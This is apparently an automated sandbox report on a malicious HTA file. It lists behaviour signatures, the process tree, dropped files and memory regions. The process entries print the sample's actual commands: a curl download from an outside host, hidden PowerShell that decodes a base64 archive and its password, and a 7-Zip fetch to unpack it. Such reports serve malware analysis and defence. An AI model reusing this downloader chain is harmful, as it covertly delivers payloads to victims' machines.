Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 13:12

General

  • Target
    tmpqva60krw.hta
  • Size 3KB
  • Sample260601-qfhrlsfs7m
  • SHA256 e49192673cef8408ccb035343697a6109fd2cc128f2818744b1dffb72b846468
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\tmpqva60krw.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\help.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5072
      • C:\Windows\SysWOW64\net.exe
        net session
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 session
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2896
      • C:\Windows\SysWOW64\curl.exe
        curl -s "https://kak.is/get_it.php" -o "C:\Users\Public\Documents\data.json"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3680
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Web; $j=Get-Content 'C:\Users\Public\Documents\data.json' -Raw|ConvertFrom-Json; if($j.status -eq 'success'){[IO.File]::WriteAllBytes('C:\Users\Public\Documents\out.7z',[Convert]::FromBase64String($j.encoded_data)); Set-Content -Path 'C:\Users\Public\Documents\password.txt' -Value $j.password}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3296
      • C:\Windows\SysWOW64\curl.exe
        curl -s "https://www.7-zip.org/a/7za920.zip" -o "C:\Users\Public\Documents\7za.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:868
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\Documents\7za.zip','C:\Users\Public\Documents\temp')"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3216
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 3
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2152

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 d73706c5baff839a31c30037a3cc1d506b1aa9c3bbd60bdf77078c758f1bb28d
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 71835063a243bff7fd1b5b5119a1f135228f0ee778be80cd1894433a8e1d583a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_5njguvnu.k3p.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5njguvnu.k3p.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        data.json

        • Path C:\Users\Public\Documents\data.json
        • Size 6.2MB
        • SHA256 358a64c4785f060b1bc5e93d2ed9e33f8c4eb5ede0e8079bbafea890f5614d70
        • MD5 SHA1 SHA512 SSDEEP TLSH

        help.bat

        • Path C:\Users\Public\Documents\help.bat
        • Size 2KB
        • SHA256 58fb2dccb78634036edf6d227a90f31fa93ec61d1f092a7eef5a66a2e6f2c8d1
        • MD5 SHA1 SHA512 TLSH

        out.7z

        • Path C:\Users\Public\Documents\out.7z
        • Size 4.7MB
        • SHA256 76008b944d88ee925cc32a138d50968d6777e50bc54c9eb9c5028b00bd46c930
        • MD5 SHA1 SHA512 SSDEEP TLSH

        password.txt

        • Path C:\Users\Public\Documents\password.txt
        • Size 10B
        • SHA256 e1ec10ec2d36d30bcc9ce401b63024580df44d91d2d829bb79c41e5d3c7c7260
        • MD5 SHA1 SHA512

        memory/3216-45-0x0000000006EE0000-0x0000000006EF2000-memory.dmp

        memory/3216-44-0x0000000006E30000-0x0000000006E3A000-memory.dmp

        memory/3216-42-0x0000000006380000-0x00000000066D4000-memory.dmp

        memory/3296-22-0x0000000007370000-0x00000000079EA000-memory.dmp

        memory/3296-19-0x0000000005600000-0x0000000005954000-memory.dmp

        memory/3296-20-0x0000000005A60000-0x0000000005A7E000-memory.dmp

        memory/3296-23-0x0000000005F80000-0x0000000005F9A000-memory.dmp

        memory/3296-24-0x00000000079F0000-0x0000000007F1C000-memory.dmp

        memory/3296-25-0x0000000006ED0000-0x0000000006F66000-memory.dmp

        memory/3296-26-0x00000000060B0000-0x00000000060D2000-memory.dmp

        memory/3296-27-0x00000000084D0000-0x0000000008A74000-memory.dmp

        memory/3296-28-0x0000000007140000-0x0000000007302000-memory.dmp

        memory/3296-21-0x0000000005AB0000-0x0000000005AFC000-memory.dmp

        memory/3296-11-0x00000000053B0000-0x0000000005416000-memory.dmp

        memory/3296-10-0x0000000005340000-0x00000000053A6000-memory.dmp

        memory/3296-9-0x0000000004A40000-0x0000000004A62000-memory.dmp

        memory/3296-8-0x0000000004C20000-0x0000000005248000-memory.dmp

        memory/3296-7-0x00000000020E0000-0x00000000020F0000-memory.dmp

        memory/3296-6-0x00000000020F0000-0x0000000002126000-memory.dmp

        memory/3296-5-0x00000000020E0000-0x00000000020F0000-memory.dmp